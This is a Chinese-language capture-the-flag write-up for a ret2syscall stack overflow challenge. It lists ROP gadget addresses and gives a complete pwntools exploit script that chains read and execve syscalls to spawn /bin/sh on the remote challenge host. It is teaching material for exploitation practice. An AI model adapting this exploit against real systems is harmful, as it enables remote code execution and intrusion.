ROP-ret2syscall 栈溢出

https://buuoj.cn/challenges#inndy_rop

开了栈堆执行保护,有很多函数应该是静态链接,然后main函数里面有一个overflow,纯粹的小栈溢出。

这道题的思路大概是这样的:通过不断地创造return,跳转,来执行很多语句。

我们的目的是执行一个execv(“/bin/sh”),首先先要塞入/bin/sh,通过read函数来塞入到.bss段,然后再通过execv(.bss_addr)的内容即可.

.bss段有好多空缺的部分啊,随便找个地址吧:bss_addr = 0x080EC010

然后让我们回忆一下这几个参数:首先int 0x80syscall的作用,第一参数为eax,也就是调用int 0x80对应的函数。例如read是0x03,execv是0x0b

然后read和execv都有三个参数,在系统中,某个函数的第一参数是ebx,第二参数是ecx,第三参数是edx。如果加上int 0x80的用于选择调用系统函数的第一参数的话,上面就分别是第二参数到第四参数了。

我们需要找很多的指令地址,并且他们后面都要有ret才能去下一个地址位置:

通过ropper工具来查找:

分别是:

int080_addr = 0x0806f430

popeax_addr = 0x080b8016

popebx_addr = 0x080481c9

popecx_addr = 0x080de769

popedx_addr = 0x0806ecda

逻辑是:我需要构造一个read(0,bss地址,8)的读取,这段代码的意思是从标准读取(第一参数=0)中读取内容,取8(第三参数=8)个字节,存放到bss地址(第二参数)中。随后再构造一个execv(“/bin/sh”,0,0)函数,类似于system(“/bin/sh”)。具体如exp:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(log_level = 'debug', arch = 'i386', os = 'linux')


ip='node5.buuoj.cn'
port=26102
file_addr = './rop'
p = remote(ip,port)
# p = process(file_addr)
elf = ELF(file_addr)
#强迫症这一块
bss_____addr = 0x080e9000+0x100
int0x80_addr = 0x0806f430
popeax__addr = 0x080b8016
popebx__addr = 0x080481c9
popecx__addr = 0x080de769
popedx__addr = 0x0806ecda
#read(0,.bss,8), READ_FUNCTION = 3
payload = b'a'*(12+4)
payload += p32(popeax__addr) + p32(0x03)
payload += p32(popebx__addr) + p32(0x00)
payload += p32(popecx__addr) + p32(bss_____addr)
payload += p32(popedx__addr) + p32(0x08)
payload += p32(int0x80_addr)
#execv(.bss,0,0), EXECV_FUNCTION = 0x0b
payload += p32(popeax__addr) + p32(0x0b)
payload += p32(popebx__addr) + p32(bss_____addr)
payload += p32(popecx__addr) + p32(0)
payload += p32(popedx__addr) + p32(0)
payload += p32(int0x80_addr)
p.sendline(payload)
p.sendline(b"/bin/sh\x00")
p.interactive()